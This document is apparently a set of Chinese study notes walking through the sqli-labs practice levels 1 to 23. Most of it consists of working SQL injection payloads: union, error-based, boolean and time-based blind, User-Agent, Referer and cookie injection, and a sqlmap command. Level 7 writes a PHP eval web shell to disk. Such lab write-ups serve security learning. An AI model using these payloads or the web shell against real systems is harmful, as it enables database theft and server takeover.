第一,二关:Less-1/ ; Less-2/ get 注入 有显示位
http://ip/Less-1/?id=1
http://ip/Less-1/?id=1' and 1=1 --+
发现页面正常显示
http://ip/Less-1/?id=1' order by 3 --+
然后判断字段数量,字段数为3列;查询当前数据库名字
http://ip/Less-1/?id=-1' union select 1,2,3 --+ #判断字段数量
http://ip/Less-1/?id=-1' union select 1,database(),3 --+ #查询当前数据库名字
http://ip/Less-1/?id=-1' union select 1,(SELECT table_schema FROM information_schema.`TABLES` WHERE table_schema = 'security' LIMIT 0,1),3 --+ #查询当前数据库名字
http://ip/Less-1/?id=-1' union select 1,(SELECT table_schema FROM information_schema.`TABLES` LIMIT 18,1),3 --+ #查询所有数据库名,并且提出某一个数据库名
http://ip/Less-1/?id=-1 ' union select 1,database(),(SELECT table_name FROM information_schema.TABLES WHERE table_schema ='security'
LIMIT 1,1 )--+ #根据数据库名,查出表名
http://ip/Less-1/?id=-1 ' union select 1,(SELECT COLUMN_name FROM information_schema.`COLUMNS`
WHERE table_name ='referers' limit 1,1),(SELECT table_name FROM information_schema.TABLES WHERE table_schema ='security'
LIMIT 0,1 )--+ #根据查出的表名,查出字段名
根据上面查询结果,就可以还原出该数据库具体结构,再根据结构信息查询出数据库存储的信息
第三关:Less-3/ ;Less-4/ get注入 有显示位
http://ip/Less-3/?id=3') and 1=1 --+
在 ' 的后多啦一个 ) 号
Less-4、
第四关比第三关多 "
http://ip/Less-4/?id=-4 ' ") union select 1,2,3 --+
第五关:Less-5/ Less-6/ 不存在显示位
http://ip/Less-5/?id=-1' union select 1,2,3 --+
利用报错注入
http://ip/Less-5/?id=-1' union select updatexml(1,CONCAT('!',(select DATABASE()),'!'),1) --+ #查看数据库名
http://ip/Less-5/?id=-1' union select updatexml(1,CONCAT('!',(SELECT table_name from information_schema.`TABLES` WHERE table_schema ='security' limit 0,1),'!'),1) --+ #查看表名
http://ip/Less-5/?id=-1' union select updatexml(1,CONCAT('!',(SELECT COLUMN_name from information_schema.`COLUMNS` WHERE table_name ='emails' limit 0,1),'!'),1) --+ #查看字段名
能够查询出数据库名,表名,字段名,推到出数据库结构
Less-6 的闭合字符为 " ,而Less-5的闭合字符为 '
第七关:Less-7/
http://ip/Less-7/?id=1')) union select 1,"<?php eval($_REQUEST[1])?>",3,4 into OUTFILE "E:\\网络安全\\SQL注入\\测试\\shell.php" --+
上传一句话木马
第八关:Less-8/ 无回显位 盲注
http://ip/Less-8/?id=1' union select 1,2,3 --+
利用ASCII 比对,一个字符一个字符比对
http://ip/Less-8/?id=1' and (ascii(substr(database(),1,1)) = 115) --+
第九关:Less-9/ Less-10/ 时间延迟注入
第十关 的闭合是 "
经过测试,发现没有报错信息,没有显示位信息
考虑时间延迟注入
http://ip/Less-9/?id=1' and if (LENGTH(DATABASE())=8,SLEEP(10),1) --+
http://ip/Less-9/?id=1' and if (ascii(substr(database(),1,1)) = 115,SLEEP(10),1) --+ #利用ASCII 比较,查询出数据库结构信息
第十一至十四关:Less-11-14/
确定字段列数
根据不同参数的不同结果,可以判断出当前表的列数为2列
前言:这里有两个提交框,我们应该从哪里注入呢?这并不是困扰我们的问题。我们在实战中应该多方面测试,两个框都测试一下,那个可以就搞那个咯!多搞点不亏的!咳咳咳。
第一步:判断参数接受的类型。
账号:admin' 密码:1111 页面报错
账号:admin' # 密码:1111 登录成功(说明这一关存在弱口令,但我们要学习的是SQL注入)
账号:admin 密码:1111' 页面报错
账号:admin 密码:1111' # 页面正常 判断参数接受方式 password = '$password'
注意:这里我们注入点在 password 中,其实 username 也是可以的。我们分析下源码就清楚了。
查看第一关的源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; 参数类型判断正确!
如果我们注入username,后面的语句都被我们注释掉了,那么就变成了:
@$sql="SELECT username, password FROM users WHERE username='admin'
这样就会直接登录成功,去数据库找damin用户并输出在页面中。如果我们一定要在username上面注入,可以这样(注意:这里的admin可以是随便任何字符,并不固定)
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
第二步:直接上报错注入语句
账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 成功获取数据库名
-1' and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.TABLES WHERE table_schema ='security'
LIMIT 0,1 ),0x7e),1) # 根据数据库,查询出表名
第十二关:就是闭合条件不一样
-1 ") and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 当前数据库名
第十三关:就是闭合条件不一样
-1') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
第十四关:就是闭合条件不一样
-1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
第十五关:Less-15/ 报错注入,无显示位 采用布尔注入
输入错误信息
当输入正确的参数时
第十六关的闭合条件不一样
第十七关
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
第十八关 :Less-18/ User-Agent注入
根据这一关的页面提示,我们的注入应该和your ip address is:127.0.0.1 有关,所以实战网页中把握每一处细节才能找到漏洞!
我们使用抓包神器 burp suite 抓个包看看请求头内容
这里我们根据前面关卡的经验,绞尽脑汁也未能跑出我们要看到的数据!所以我们只能去分析十八关源码。
我们这样去构造语句:
之前的报错语句写法
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
这一关的报错语句写法,可以看到后面多了个 ) ,目的是去闭合语句中前面的 ( 变成一个完整的()。这样VALUES就可以从括号中正常取值,我们的SQL语句就能被成功执行!
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)) #
当然也可以使用sqlmap神器一把梭
因为是注入UA头,所以 level 等级设置为 3
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/index.php?id=1 --level 3 --dbs
第十九关:Referer中进行注入
这一关和十八关类型一样,区别在于上一关在User-Agent注入,这一关在Referer中进行注入!!
第二十关:cooke注入
这一关和十八关十九关类似,属于cookie注入!不过这里多考察了一个burp suite工具抓返回包的操作,通过抓登录后的返回包中修改cookie实现SQL注入!!!
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
第二十一关:二十二的闭合方式不一样
此关有点特别,虽然是cookie注入,但是是经过编码的
发现cookie那里的值为RHVtYg== 非常像base64编码过的。我们就来尝试一下经过编码再进行注入
把单引号经过编码之后再放入cookie中。
然后利用bp抓包,在cooke注入
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1' ='1
第二十二关是闭合方式的不同
" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1' ='1
第二十三关:get注入 末尾的闭合方式不一样
http://ip/Less-23/?id=1' and '1'='1
http://ip/Less-23/?id=1' and updatexml(1,CONCAT('!',(select DATABASE()),'!'),1) or '1'='1
第二十四:
第二十五关: